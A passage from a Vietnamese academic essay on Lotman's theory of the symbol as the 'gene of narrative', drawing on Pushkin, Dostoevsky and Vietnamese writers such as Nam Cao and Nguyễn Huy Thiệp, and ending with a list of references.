            Mỗi biểu tượng bao giờ cũng thuộc về một không gian ý nghĩa nhiều chiều.Trong Biểu tượng – gene của truyện kể, Lotman phân tích tính chất đa nghĩa, uyển chuyển ngữ nghĩa của các hình tượng – mô hình trong sáng tác của Puskin, từ đó thấy được khả năng khơi gợi không gian ý nghĩa nhiều chiều, tiềm năng nghĩa phong phú của biểu tượng.

Ông chỉ ra sự hạn chế trong “thi pháp của Boileau, thi pháp của phái lãng mạn Đức, lẫn thi pháp của triết học cổ điển Đức đều xuất phát từ quan niệm cho rằng, trong ý thức của nghệ sĩ, thoạt đầu bao giờ cũng xuất hiện một tư tưởng được diễn đạt bằng ngôn từ, rồi sau đó mới chuyển vào hình tượng, như là hình thức biểu hiện cảm tính của nó” [2].

Ông không đồng tình với việc cho rằng ý thức, tư tưởng của nghệ sĩ có trước và hoàn kết, nghệ sĩ chỉ việc chuyển hóa nó vào hình tượng, dùng hình tượng là hình thức biểu hiện cảm tính của tư tưởng. Hình tượng trở thành cái bọc che kín một sự diễn giải duy nhất đúng, duy nhất hợp lí. Quan niệm này sẽ dẫn tới mâu thuẫn, tranh luận không dứt và không đi đến được sự thống nhất khi giải mã ý nghĩa của biểu tượng, ví dụ như tranh luận về ý nghĩa của lũ lụt, của tượng đài kỉ niệm trong Kị sĩ đồng của Puskin.

Từ đó ông đi tới khẳng định, việc Puskin kiến tạo ý nghĩa cho tác phẩm bằng các hình tượng – mô hình sẽ hé lộ khả năng cho phép không chỉ một mà nhiều cách đọc khác nhau, bổ trợ nhau. Nghĩa là, quan hệ của các hình tượng, biểu tượng sẽ khơi gợi, đánh thức ý nghĩa văn hóa tiềm tàng để nó sống dậy và tự hiện chứ không dùng nó như công cụ để diễn tả tư tưởng.

Lotman đã phân tích mô hình biểu tượng văn hóa – lịch sử xuất hiện trong nhiều tác phẩm của Puskin để chỉ ra điều đó. Đối với mô hình – biểu tượng: bão tố – pho tượng sụp đổ – con người nhỏ bé, Lotman nhận thấy: “…hoàn toàn có khả năng đưa ra nhiều cách diễn giải khác nhau khi phóng chiếu các hình tượng ấy vào lĩnh vực khái niệm. Có thể phóng chiếu theo kiểu huyền thoại thuần tuý: nước (= lửa) – đá đã được chế tác – con người. Nhưng thành phần thứ hai cũng có thể giải thích về mặt lịch sử: văn hoá, ratio, chính quyền, thành phố, quy luật lịch sử. Trong khi đó, thành phần thứ nhất lại có thể chuyển thành các khái niệm: “tự nhiên”, “vô thức tự phát”, “bạo loạn”, “thảo nguyên”, “chống lại mù quáng các quy luật lịch sử”. Nhưng đó cũng có thể là đối lập giữa “tự do hoang dã” với sự “nô lệ chết cứng”. Cũng sẽ cực kì phức tạp là mối quan hệ giữa thành phần thứ nhất với thành phần thứ hai của hệ hình với thành phần thứ ba, trong đó, cái được đem ra phân tích có thể là điều được Gogol gọi là “sự giàu có khốn khổ” của con người bình thường, quyền sống và hạnh phúc của nó xung đột với cả cái dữ dội của tự nhiên điên khùng, lẫn “sự buồn tẻ, lạnh lẽo”, “ý chí sắt đá” và “lí trí phi nhân tính”, nhưng trong đó có thể ánh lên những nét của thói ích kỉ nhỏ mọn mà rốt cục, đã biến Liza trong Con đầm pích thành một búp bê vặn dây cót lặp lại con đường xa lạ. Tuy nhiên, ở Puskin, chẳng bao giờ một khả năng nào đó trong số ấy hoạt động như một khả năng duy nhất. Hệ hình được đưa ra trong tất cả các biểu hiện có thể có của nó. Chính sự vênh lệch của những biểu hiện ấy với nhau mang lại cho hình tượng chiều sâu của cái chưa hoàn kết, tạo ra khả năng giải đáp cả những câu hỏi của người đương thời Puskin, lẫn những câu hỏi của các thế hệ hậu bối sau này” [2].

Trích dẫn cả một đoạn dài trong lập luận của Lotman, chúng tôi muốn chia sẻ sự đồng tình với quan điểm của tác giả: một hoặc một hệ thống biểu tượng không đơn nghĩa, mà luôn đa nghĩa, dự trữ nghĩa, mở ra tiềm năng nghĩa phong phú, bất ngờ. Các biểu tượng càng đơn giản lại càng đa nghĩa. Tìm hiểu biểu tượng lửa trong thơ ca, có người đã chỉ ra sức chứa nghĩa phong phú của nó: lửa là nguồn tỏa ra ánh sáng, phát ra nhiệt; lửa là sự sống, là trái tim; lửa là ánh sáng của lí tưởng, của sự bừng tỉnh và giác ngộ; lửa là tình cảm vợ chồng/ tình yêu nam – nữ; lửa cũng mang sức mạnh hủy diệt… Mưa trong truyện ngắn Nguyễn Huy Thiệp không chỉ là nguồn thiên ân tạo sự phong nhiêu trong đời sống vật chất, sự mặc khải trong đời sống tinh thần, mà còn mang sức mạnh thanh tẩy, tái sinh, có khi lại tượng trưng cho những hiểm họa, bất trắc tiềm ẩn trong đời sống, hoặc nỗi thống khổ của kiếp người, hay những bi kịch tình yêu muôn thuở…

   Biểu tượng có tính biến đổi, khả năng tạo nghĩa mới, tự điều chỉnh qua những biến thể trong các ngữ cảnh văn hóa, mang dấu ấn của một mặt cắt đồng đại của văn hóa. Trong Biểu tượng – gene của truyện kể, xuất phát từ việc khám phá nghĩa của biểu tượng yến tiệc trong một số truyện kể của Puskin, Lotman khẳng định: hệ thống biểu tượng tạo thành một cấu trúc vô cùng uyển chuyển, mềm dẻo, sinh ra những ý nghĩa phong phú đến kinh ngạc và, đây mới là điều đặc biệt quan trọng, tạo nên sự đa tạp đầy hàm súc gần như đồng nhất với sự đa tạp của chính bản thân đời sống” [2].

Minh chứng xác đáng, thuyết phục của Lotman chính là cấu trúc nghĩa phong phú, uyển chuyển, mềm dẻo, tạo nghĩa, sinh nghĩa phong phú của biểu tượng Yến tiệc trong các tác phẩm Vị khách bằng đá, Mozart và Salieri, Yến tiệc thời dịch hạch  của Puskin. Yến tiệc mang âm hưởng tích cực: yến tiệc vui nhộn; yến tiệc bằng hữu, kết nối mọi người thành khối huynh đệ; yến tiệc tự do, yến tiệc chè chén say sưa và nhiệt huyết tràn trề, yến tiệc của trí tưởng tượng, yến tiệc của tuổi trẻ…Nhưng yến tiệc còn mang cả âm hưởng tiêu cực: yến tiệc chiến tranh, yến tiệc chết chóc, yến tiệc dịch bệnh…

Mặt trời có thể coi là một trong những cổ mẫu của nhân loại. Từ Nữ thần Mặt Trời (Sử thi Đăm Săn), đến Mặt trời đội biển nhô màu mới (Đoàn thuyền đánh cá – Huy Cận), Mặt trời trong lăng rất đỏ (Viếng lăng Bác – Viễn Phương), Mặt trời của mẹ em nằm trên lưng (Khúc hát ru những em bé lớn trên lưng mẹ – Nguyễn Khoa Điềm)…, biểu tượng mặt trời không chỉ kế thừa, tiếp nối, chuyển giao mà còn biến đổi, tạo sinh những ý nghĩa phong phú và bất tận.

Là một biến thể của mẫu gốc nước, biểu tượng dòng sông một mặt mang những ý nghĩa biểu trưng chung của nước, một mặt có những hướng nghĩa biểu trưng riêng gắn liền với những đặc điểm bản thể của nó. Tái sinh trong thế giới truyện ngắn Nguyễn Huy Thiệp, biểu tượng này vừa thấm đẫm những cảm quan chung của vô thức cộng đồng, vừa mang đậm dấu ấn riêng của phong cách tác giả, thể hiện sự biến đổi, điều chỉnh ý nghĩa của biểu tượng, tính năng động của biểu tượng. Ở đó, dòng sông tượng trưng cho dòng chảy vô thường của đời sống; dòng sông là nguồn sống và nguồn chết, sinh thành huyền thoại và giải thiêng huyền thoại; dòng sông cũng mang sức mạnh thanh tẩy và khả năng cứu sinh; dòng sông mang vẻ đẹp của thiên tính nữ …

Tưởng cũ mà luôn mới, hồi sinh và tái sinh, nguyên gốc và biến thể, dân tộc và thời đại, đó là những tính chất nổi bật của biểu tượng trong dòng chảy của lịch sử văn học và văn hóa.

 3. Biểu tượng – gène của truyện kể

 Biểu tượng giữ vai trò như là cương lĩnh cô đọng của quá trình sáng tạo. Để đề xuất luận điểm này, Lotman đã tìm hiểu, phân tích quá trình sáng tạo của Puskin. Ông cho biết: Từ ấn tượng và cách nhìn trượt chéo khi xem bức tranh Ngày cuối cùng của Pompei của Larl Briullov, Puskin phác họa lại thành một đoạn thơ: Họng Vesuvio mở rộng – Khói cuồn cuộn bốc lên – Ngọn lửa lan rộng như lá cờ chiến. Mặt đất rung chuyển, từ các cột trụ chao đảo, những Tượng thờ sập xuống! Dân chúng chạy tán loạn (vì sợ hãi), Dưới trận mưa đá (dưới tro bụi mịt mù), Từng đám đông, già và trẻ, chạy trốn khỏi thành phố chiến tranh [2].

Ám ảnh biểu tượng bão tố – pho tượng – con người được hình thành trong ấn tượng của Puskin khi xem bức tranh đó đã trở thành mô hình biểu tượng trong hàng loạt tác phẩm của nhà thơ sau này: Kị sĩ đồng, Người lính gác bất động ngủ gật trên bậc cửa hoàng cung, Evgeni Oneghin, Khi hoàng đế cau mày, Người con gái viên đại uý …Ông nhận ra sự phóng chiếu của các biểu tượng ấy vào những biểu tượng, hiện tượng khác nhau trong các tác phẩm, bằng cách đó Puskin thể hiện được những quan niệm về xung đột lịch sử, sự tiềm ẩn cái hài hòa, sự khám phá những bản chất sâu kín của cuộc đời.

Đúng là với mỗi nhà văn, nhà thơ, có những hình tượng đóng vai trò như là biểu tượng hạt nhân, cương lĩnh sáng tạo, vừa giúp bộc lộ cách nhìn, quan điểm, cảm xúc về đời sống, vừa tạo nên diện mạo của từng tác giả.

Đó có thể là biểu tượng trong một tác phẩm, xuất hiện trở đi trở lại, chi phối tổ chức kết cấu của tác phẩm, có vai trò quan trọng với nhân vật, góp phần quy tụ, bộc lộ nhân vật và hệ thống hình tượng, hình ảnh, hé lộ và chứa chở chủ đề tác phẩm, tư tưởng của nhà văn. Nhiều biểu tượng quan trọng tới mức đã được tác giả lấy ngay làm nhan đề tác phẩm, như một định hướng cho người đọc, mang sức nặng như một khát quát và trao gửi của nhà văn để trở thành đại diện cho cả con đẻ tinh thần của mình. Chiếc lá cuối cùng của Ô. Henri, Cánh buồm đỏ thắm của A. Grin, Cái lò gạch cũ trong Chí Phèo của Nam Cao, Rừng xà nu của Nguyễn Trung Thành, Chiếc thuyền ngoài xa của Nguyễn Minh Châu, … là những tác phẩm được làm nên từ những biểu tượng như thế. Cũng có những biểu tượng xuất hiện không nhiều, nhưng có khả năng bao quát, hàm chứa, khơi gợi chủ đề tác phẩm, cô đọng cương lĩnh sáng tác của tác giả, chẳng hạn như Những ngôi sao xa xôi của Lê Minh Khuê, …

Đó cũng có thể là những biểu tượng xuất hiện trở đi trở lại trong nhiều tác phẩm, xuyên qua nhiều câu chuyện, nhiều nhân vật, nhiều mảnh ghép khác nhau trong sự nghiệp của một nhà văn, nhà thơ, xâu chuỗi và tạo nên điểm nhìn, bút pháp mang giá trị chung, tạo nên dấu ấn, diện mạo riêng trong bức tranh đa sắc đa diện của văn học. Nhân vật Raxtinhac của H. Bandac hiện diện trong một loạt các tiểu thuyết của bộ Tấn trò đời, từ Lão Gôriô đến Miếng da lừa,…,có truyện là nhân vật chính, có chỗ là nhân vật phụ, có truyện mới chỉ là anh sinh viên nhà quê ra tỉnh, có truyện là nhà báo, có truyện đã mở rộng quan hệ và dần đặt chân vào thế giới thượng lưu. Lão Khúng của Nguyễn Minh Châu cũng đi từ Khách ở quê ra đến Phiên chợ Giát để tiếp tục cùng nhà văn nói lên những điều chưa nói hết trong khuôn khổ của một truyện ngắn, một câu chuyện. Nguyễn Bính đánh thức người nhà quê trong ta bằng cách dựng lên một thế giới chân quê với cái làng Thiện Vịnh có những cô gái dệt lụa bên khung cửi, mang yếm thắm khăn thâm trẩy hội xuân hội chùa, hoa cau, vườn trầu, vườn dâu, cải vàng tháng chạp… Hoàng Cầm thăng hoa với những biểu tượng văn hóa cổ truyền của Kinh Bắc, những biểu tượng vừa thực vừa hư ảo của vô thức tâm linh: tranh làng Hồ, váy Đình Bảng, mưa Thuận Thành, cô hàng xén răng đen, lá diêu bông, cỏ bồng thi, bài tam cúc…  Đọc thơ Tố Hữu, ta thường gặp biểu tượng mặt trời, ánh sáng, không gian của đường đi, những đoàn người, đoàn quân đông đúc như ngày hội…, cứ rực cháy niềm tin với lý tưởng, tầm nhìn sử thi, tình yêu của người cách mạng với nhân quần. Với Xuân Quỳnh là hoa dại, cỏ may, hạt cát, cánh chuồn – những ám ảnh thân phận nhỏ bé, chơ vơ, côi cút trong giông bão cuộc đời;  là trái tim, bàn tay – tự hát tình yêu chân thành, chi chút, thủy chung; là sân ga, mái phố, căn phòng nhỏ, mái nhà, mái ấm chở che –  những hiện thân khác nhau của cùng một hình hài chung nhất, thiêng liêng nhất: tổ ấm và nỗi khao khát thường hằng: yên ổn, yêu thương…

Như thế, biểu tượng giữ vai trò quan trọng trong thế giới nghệ thuật của nhà văn, nhà thơ, cô đọng cương lĩnh sáng tạo, làm nên diện mạo phong cách nghệ thuật của họ, ghi dấu ấn sáng tạo của họ giữa cuộc đời.

            Biểu tượng lưu truyền các sơ đồ truyện kể. Lotman cho rằng: Là cơ chế quan trọng của ký ức văn hóa các biểu tượng lưu truyền các văn bản, các sơ đồ chuyện kể , và các cấu tạo kí hiệu khác, từ lớp văn hóa này sang lớp văn hóa khác” [3]. Điều ấy có nghĩa là: biểu tượng không chỉ lưu truyền hình tượng hay văn bản độc lập, nó còn lưu truyền các sơ đồ chuyện kể, dẫn tới sự lặp lại của những mô tip, mô hình, sơ đồ mang đậm dấu ấn văn hóa bất biến qua các thời đại.

Lotman đã khẳng định và phân tích: Hệ hình ý nghĩa của Puskin được kiến tạo không phải bằng ngôn từ, mà bằng các hình tượng – mô hình (…) Trong tác phẩm hiện thực chủ nghĩa của Puskin, hệ thống biểu tượng tạo thành một cấu trúc vô cùng uyển chuyển, mềm dẻo, sinh ra những ý nghĩa phong phú đến kinh ngạc và, đây mới là điều đặc biệt quan trọng, tạo nên sự đa tạp đầy hàm súc gần như đồng nhất với sự đa tạp của chính bản thân đời sống [3].

Một mô tip tạo thành trung tâm ngữ nghĩa – xuyên qua nhiều tác phẩm của Puskin để trở thành một biểu tượng có ý nghĩa rất quan trọng đối với toàn bộ sáng tác của ông, đó là Yến tiệc thảm khốc. Mô tip Yến tiệc thảm khốc là một mô tip cổ đại, ví dụ như bữa tiệc của Atrée. Trong cả ba truyện kể Vị khách bằng đá, Mozart và Salieri, Yến tiệc thời dịch hạch, yến tiệc được gắn với cái chết: yến tiệc với vị khách là pho tượng, yến tiệc là vụ giết người, và yến tiệc trong thành phố có dịch hạch. Hơn nữa, trong tất cả các trường hợp ấy, yến tiệc không chỉ là việc gở, mà còn mang tính đồi bại: nó là sự báng bổ và phạm vào những điều cấm kị căn cốt nào đó mà con người không được phép xoá bỏ. Đồng thời, khi phân tích các văn bản một cách toàn diện, ông cũng đưa ra một kết luận khác: hình tượng yến tiệc theo nghĩa đen của biểu tượng này hiện diện trong toàn bộ sáng tác của Puskin như một hình tượng tích cực. Nó là biểu tượng sự liên kết, hợp nhất, sự hoà đồng đầy hân hoan của tình bằng hữu, kể cả sự hợp nhất và hoà đồng giữa sinh và tử, giữa sự sống và cái chết. Chính sự hoà trộn này đóng vai trò quan trọng trong “những bi kịch nhỏ”. Ở dạng khái quát như thế, các xung đột ấy sẽ hiện lên trong hình thức sâu sắc nhất của chúng. Chúng nổi gần bề mặt truyện kể, giữa bộ ba biểu tượng quen thuộc với chúng ta (sức mạnh thiên nhiên tự phát – quy luật – con người). Cuối cùng, trên chính bề mặt truyện kể, chúng được thể hiện trong các hình tượng cụ thể – lịch sử và văn hoá – thời đại.

Trong khi phân tích các dẫn chứng để làm sáng tỏ quan điểm của mình, Lotman cũng luôn có xu hướng đưa ra không chỉ một hình tượng biểu tượng độc lập mà luôn trong quan hệ hệ thống, mô hình, hệ hình. Những lặp lại của những hệ thống biểu tượng, những sự kiện, không gian có tính biểu tượng ấy tạo nên những mô hình truyện kể vừa có dấu ấn của văn học, văn hóa lâu đời, vừa được tổ chức lại theo cảm quan và tư duy nghệ thuật của nhà văn trước các vấn đề đương đại.

Bản thân sự lặp lại của các mô tip, sơ đồ truyện kể từ trong văn học dân gian đã thể hiện sự “công hữu hóa” của tập thể đối với sự sáng tạo cá nhân, bộc lộ “tâm hồn tập thể” trong sự nhận thức nghệ thuật và cuộc sống .

Nhìn vào Sự xâm nhập và tái sinh của một số mô thức tự sự dân gian trong văn xuôi Việt Nam từ 1986 đến nay, có người đã khám phá và chỉ ra trong hàng loạt tiểu thuyết và truyện ngắn của Nguyễn Huy Thiệp, Tạ Duy Anh, Nguyễn Xuân Khánh, Hòa Vang, Lê Minh Hà…: “sự xuất hiện trở lại của các văn bản tự sự dân gian trong lòng các tiểu thuyết và truyện ngắn đương đại là một hiện tượng tái diễn dịch lại “cái huyền thoại”, “cái kỳ ảo” trong một bối cảnh văn hóa – xã hội mới, đem lại cho những ký hiệu và biểu tượng quen thuộc những hàm nghĩa mới”. Các yếu tố, mô tip, sơ đồ tự sự dân gian không còn đến với người đọc ở dạng thức “tác phẩm toàn nguyên” nữa, chúng – hoặc trở thành những mảnh ghép để ráp vào một bức khảm mới, hoặc được hòa tan vào các chất liệu và kiểu màu khác để vẽ nên những bức họa kỳ lạ. Chúng luôn bị xê dịch, nhào nặn, lắp ghép trong một cấu trúc văn bản bất toàn, dở dang. Chúng tái hiện lại một thế giới chưa bao giờ “hoàn thành”, chưa bao giờ đầy đủ, một thế giới – đa – thế giới, với cả quá khứ và hiện tại, hiện thực và huyền ảo, logic và phi logic, đơn chiều và đa chiều… “Các “tự sự dân gian”, các “cổ tích”, “truyền thuyết”, “huyền thoại” trở thành những “mẫu gốc lớn”, cắm rễ sâu vào tiềm thức của người viết tiểu thuyết hiện đại, tạo cho tác phẩm của họ một chiều sâu văn hóa thực sự, một sự “đa bội hóa” những khả năng diễn giải và tạo nghĩa của chính mình” [19].

Sự phát triển về sau của truyện là sự triển khai một số tiềm năng được giấu kín, được tổ chức mã hóa ở chiều sâu của biểu tượng. Phân tích truyện của Dostoievski, Lotman chú ý chi tiết: nguyện vọng của Hyppolit trước khi chết được nói với dân chúng và niềm tin vào điều mà vì nó ông đáng được nói với dân chúng từ cửa nhà tù trong hai mươi lăm phút và lúc đó dân chúng sẽ hoàn toàn đồng tình với ông ta và “đi theo ông ta.”. Chi tiết này gieo vào ký ức của Dostoievski như một biểu tượng có dung lượng lớn, bắt nguồn từ thời điểm cái chết của Belinski làm kinh hồn tất cả mọi người xung quanh. Turgenev nhớ lại: “Trước khi chết ông đã nói một hơi hai giờ liền không ngừng nghỉ, tựa hồ như đang nói với nhân dân Nga và nói với người vợ, nhờ bà ghi nhớ và truyền lại cho những ai cần truyền lại” [3].

“Như thế, một tình tiết rực rỡ đã gieo vào ký ức nhà văn, được biểu tượng hóa, và bắt đầu thể hiện thành những nét điển hình của hành vi biểu tượng trong văn hóa: tích lũy và tổ chức những kinh nghiệm mới xung quanh mình, biến thành cái máy tích điện độc đáo của ký ức, rồi sau đó triển khai ra thành vô vàn truyện kể, rồi tiếp theo, tác giả sẽ tổ hợp nó với các cấu tạo truyện kể khác, rồi lựa chọn” [3].

Quá trình tổ chức, triển khai các biểu tượng, mô hình biểu tượng trong tác phẩm của Dostoievski đã chứng tỏ tính chất, vai trò gene của truyện kể: “Một chất liệu thú vị cho phép ta quan sát sự vận động của các cấu tứ sáng tạo của Dostoievski, đó là khi suy ngẫm về một tính cách nào đó, Dostoievski đánh dấu nó bằng tên gọi, hay bằng một dấu hiệu nào khác, nó cho phép ông kéo tính cách ấy lại gần với cái biểu tượng đã có trong ký ức, rồi sau đó mới “đánh cờ” với các tình huống cốt truyện khác nhau, giả vờ như các quân cờ biểu tượng ấy biết cách xử sự trong các tình huống ấy. Tính đa nghĩa của biểu tượng cho phép biến đổi một cách căn bản các lần “khai cuộc”, “chiếu tướng” và “tàn cuộc” của các tình huống cốt truyện đã được phân tích mà Dostoievski đã nhiều lần trở đi trở lại, lựa chọn những “bước đi” khác nhau” [3]. Chẳng hạn đằng sau hình tượng Nastasia Philipopna lập tức mở ra, xuất hiện hình tượng “người đàn bà ăn chơi” – hoa sơn trà – biểu tượng người phụ nữ ăn chơi, phong lưu. Nhưng  bản thân câu chuyện Toxki hãm hại một người hầu như là đứa hài nhi đã làm cho giả thiết rằng Dostoievski đã cảm nhận Nastasia Philipopna không chỉ như “người đàn bà phóng đãng”, mà còn như “Susanna” thêm phần đáng tin. Trong sự giao nhau của các hình tượng – biểu tượng người đàn bà tà dâm – Susanna – người vợ – kẻ có lỗi đã nảy sinh ra cả một chương trình mà khi giấu nó vào không gian truyện kể với các cấu tứ tiểu thuyết thì còn phải mở rộng ra nữa (và thay hình đổi dạng nữa) trong hình tượng Nastasia Philipopna.

Khi quan sát cách xây dựng và tổ chức biểu tượng trong một loạt truyện của Puskin, Lotman đã chỉ ra cách mà tác giả duy trì hoặc người đọc lĩnh hội được tam giác tạo thành bởi bão tố trong tự nhiên, pho tượng và con người. Ông khẳng định: hoàn toàn có khả năng đưa ra nhiều cách diễn giải khác nhau khi phóng chiếu các hình tượng ấy vào lĩnh vực khái niệm. Vai trò của pho tượng không mang tính đơn trị. Đó là hiện thân của nguyên tắc nghĩa vụ nghiệt ngã và phi nhân tính, từ chối quyền hưởng hạnh phúc trần thế của con người. Nhưng đó cũng chính là toà án và là sự trừng phạt tối cao dành cho kẻ vi phạm các chuẩn mực luân lí, mang đến cho thế giới sự hỗn loạn và huỷ diệt. Hình tượng hàm súc về các sức mạnh tự nhiên cho phép hoán đổi không biết bao nhiêu những ý nghĩa xa xôi, ví như sự nổi loạn của dân chúng và sự can thiệp của những sức mạnh siêu nhiên (liên hệ: bão tuyết trong Người con gái viên đại uý và Những người quỷ ám) và, nói chung, mang lại khả năng tạo ra một thành phần ngữ nghĩa đa diện, cho phép diễn giải theo nhiều cách khác nhau.

Ví như, Nam Cao là nhà văn luôn trăn trở day dứt về tình trạng con người dị dạng, méo mó về nhân hình và nhân tính, người hóa vật, người có nguy cơ sa xuống hàng con vật. Gene truyện kể này sẽ được nhà văn mã hóa vào hàng loạt các tác phẩm khác nhau với những nhân vật phân thân, hóa thân từ biểu tượng gốc trong tâm thế sáng tạo của tác giả. Đó là Chí Phèo với khuôn mặt vằn dọc vằn ngang những vết sẹo, nhìn như mặt một con vật, không sao đoán được tuổi. Đó là thị Nở nửa người nửa ngợm, xấu ma chê quỷ hờn, cái mặt hao hao giống mặt lợn. Rồi Lang Rận và mụ Lợi (Lang Rận), Lê Văn Rự (Nửa đêm), anh cu Lộ (Tư cách mõ)… đều là sự triển khai tiềm năng nghĩa phong phú, mã hóa ở chiều sâu của biểu tượng người – vật trong cảm thức của Nam Cao.

Như thế, khi coi biểu tượng là gene của truyện kể, cô đọng cương lĩnh của quá trình sáng tạo, mở rộng sinh sôi những tiềm năng nghĩa, Lotman đã chỉ ra vị trí, vai trò, chức năng quan trọng của biểu tượng trong cảm quan và tư duy nghệ thuật, cách thức và con đường tạo nên bản sắc và thành tựu trong sự nghiệp sáng tác của người nghệ sĩ. Sáng tạo và sử dụng thành công biểu tượng, nhà văn đã tạo ra được bản sắc văn hóa của chính mình trong dòng chảy bất tận mênh mông của nghệ thuật muôn đời.

 

  1. Đọc văn bản nghệ thuật chính là đọc biểu tượng hóa hay giải biểu tượng hóa

Không chỉ Lotman, luận điểm đã và ngày càng nhận được nhiều ý kiến đồng tình, nhất là với trường phái kí hiệu học hay mỹ học tiếp nhận. Tất nhiên, Lotman không phát biểu lí luận tiếp nhận chung chung, mà ông cực đoan, quyết liệt hơn khi khẳng định: tiếp nhận tác phẩm văn học chính là phải đọc ra và giải mã được biểu tượng.

Tiếp cận truyện ngắn Chí Phèo của Nam Cao, còn có khá nhiều những biểu tượng mang  chiều kích văn hóa sâu rộng, tiềm năng nghĩa sâu xa. Nhân vật Thị Nở, nếu chỉ nhìn bằng con mắt hiện thực, đễ dẫn đến cho rằng Nam Cao sa vào chủ nghĩa tự nhiên, hạ con người xuống hàng con vật. Nhưng đặt nhân vật trong sinh quyển văn hóa cổ sơ của dân tộc và nhân loại, coi nhân vật như một kí hiệu, một biểu tượng văn học, văn hóa, khi Nam Cao ví thị như người đần trong cổ tích, với vẻ ngoài thậm xấu nhưng tâm hồn cất giấu vẻ đẹp thiện lương hồn nhiên, nguyên sơ nhất của tâm tính con người, thì nhân vật này có gốc rễ sâu xa từ văn học xa xưa đến hiện đại: các nhân vật xấu người, đẹp nết trong truyện cổ tích, thằng gù ở nhà thờ Đức Bà Pari (V.Hugo). Ngay cả vườn chuối đêm trăng cũng là biểu tượng có từ những mẫu gốc về vườn tình ái trong lịch sử văn học nhân loại: khu vườn đêm ngát hương hoa hồng của Rômêô và Juliet, công viên Luychxămbua đầy ánh nắng và tiếng chim hót của Mariuytx và Côdet. Đến dòng sông buổi sớm mai với tiếng người đi chợ cũng có thể được coi là biểu tượng về ranh giới của địa ngục và cõi đời. Ông tướng trong Tướng về hưu của Nguyễn Huy Thiệp là biểu tượng người cha bị bỏ rơi, gợi nhắc ta nhớ về những bi kịch của vua Lia, của lão Gorio… Nhân vật ông Bổng dường như đánh thức kí ức của chúng ta về một kiểu nhân vật hề chèo, nhân vật anh hề, với ngôn ngữ, bộ dạng nhếch nhác, lố bịch nhưng nhiều khi phát ngôn, chứa đựng những minh triết dân gian thực tế và sâu xa, rất đời.

Việc đọc ra biểu tượng, giải mã được biểu tượng là việc cực kì quan trọng nhưng không hề đơn giản. C.G.Jung từng khẳng định thách thức, khó khăn của việc nắm bắt biểu tượng: “Biểu tượng nhô lên như một lời trách cứ thường xuyên đối với khả năng suy xét và cảm nhận của chúng ta”.

***

Lí thuyết của Lotman đã nâng cao tầm vóc và chiều kích của biểu tượng văn học, đưa nó trở về và hòa vào mạch nguồn văn hóa sâu rộng, lâu dài của các dân tộc, của toàn nhân loại. Lotman cũng chỉ ra con đường sáng tạo của một người nghệ sĩ: phải bắt mạch khơi nguồn từ đời sống văn hóa dân tộc và nhân loại nghìn đời, đặt ra trọng trách cho nhà văn khi khai thác, sử dụng, sáng tạo biểu tượng trong đời sống văn hóa. Bên cạnh đó là những khó khăn thách thức cũng là mời gọi đối với người đọc khi tìm tòi và giải mã biểu tượng trong tác phẩm văn chương.

 TÀI LIỆU THAM KHẢO

  1.  Jean Chevalier – Alain Gheerbrant (1997), Từ điển biểu tượng văn hóa thế giới, NXB Đà Nẵng và Trường viết văn Nguyễn Du, Hà Nội.
  2. M. Lotman (Lã Nguyên dịch) (24/9/2012), Biểu tượng – “gène của truyện kể”, http://vanhoanghean.com.vn/goc-nhin-van-hoa3/những-góc-nhìn-văn-hóa/bieu-tuong-gene-của-truyen-ke
  3. M. Lotman (Trần Đình Sử dịch) (24/12/2012), Biểu tượng trong hệ thống văn hóa,

http://tapchisonghuong.com.vn/tin-tuc/p0/c7/n11198/Bieu-tuong-trong-he-thong-van-hoa.html

  1. M. Lotman (Trần Đình Sử dịch) (10/9/2012), Cái chết như là vấn đề của truyện kể, http://www.hcmup.edu.vn/ly-luan-phe-binh
  2. M. Lotman (Lã Nguyên dịch) (9/3/2013), Chiêm bao – cửa sổ kí hiệu học, http://www.hcmup.edu.vn/ly-luan-phe-binh
  3. M. Lotman, B.A.Uspenski (Lã Nguyên dịch) (6/7/2012), Huyền thoại – tên gọi – văn hóa, http://phebinhvanhoc.com.vn/?p=2432.
  4. M.Lotman (02/10/2010), Kết cấu tác phẩm nghệ thuật ngôn từ, http:// lythuyetvanhoc.wordpress.com/2010/10/02/ju-lotman-kết-cấu-tác-phẩm-nghệ-thuật-ngon-từ
  5. M. Lotman (Lã Nguyên dịch) (4/8/2013), Không gian nghệ thuật trong văn xuôi Gogol,

http:/languyensp.wordpress.com/2013/08/04/khong-gian-nghe-thuat-trong-van-xuoi-gogol-2

  1. M. Lotman (Lã Nguyên dịch) (19/01/2011), Ký hiệu học văn hóa và khái niệm văn bản, http://vanhoanghean.com.vn/goc-nhin-van-hoa3/những-góc-nhìn-văn-hóa/ky-hieu-hoc-van-hoa-va-khai-niem-van-ban.
  2. M. Lotman (Lã Nguyên dịch) (7/10/2013), Ký hiệu học văn hóa ở trường phái Ký hiệu học Tartu-Moskva,

http://languyensp.worspress.com/page/3

  1. M. Lotman (Lã Nguyên dịch) (12/5/2013), Nguồn gốc của truyện kể dưới sự soi sáng của loại hình học,

http://languyensp.wordpress.com/2013/05/12/nguon-goc-truyen-ke-duoi-su-soi-sang-cua-loai-hinh-hoc-7

  1. M. Lotman và B.A. Uspenski (Lã Nguyên dịch) (23/5/2013), Ước lệ trong nghệ thuật,

http://nguvan.hnue.edu.vn/Nghiencuu/Lyluanvanhoc/tabid/104/newstab/109/Default/aspx

  1. M. Lotman (Trần Đình Sử dịch) (01/10/2010), Về bản chất của nghệ thuật, http://lythuyetvanhoc.wordpress.com/2010/10/01/ju-lotman-về-bản-chất-của-nghệ-thuật/
  2. M. Lotman (Lã Nguyên dịch) (9/3/2012), Về ký hiệu quyển,

http://vanhoanghean.com.vn/goc-nhin-van-hoa3/những-góc-nhìn-văn-hóa/ve-ky-hieu-quyen

  1. M. Lotman (Lã Nguyên dịch) (4/12/2013), Về mã huyền thoại của các văn bản truyện kể,

http://languyensp.wordpress.com/2013/12/04/ve-ma-huyen-thoai-cua-cac-van-ban-truyen-ke/

  1. M. Lotman (Lã Nguyên dịch) (06/01/2013), Về ý nghĩa mô hình hóa các khái niệm kết thúc và mở đầu trong văn bản nghệ thuật, http://vanhoanghean.com.vn/goc-nhin-van-hoa3/những-góc-nhìn-văn-hóa/
  2. Trần Đình Sử (29/3/2014), Giải mã và các phương diện của nó, http://trandinhsu.wordpress.com/2014/03/29/giai-ma-va-cac-phuong-dien-cua-no
  3. Trần Đình Sử (7/6/2014), Tính kí hiệu của hình tượng văn học, http://trandinhsu.wordpress.com/2014/06/07/tinh-ki-hieu-cua-hinh-tuong-van-hoc.
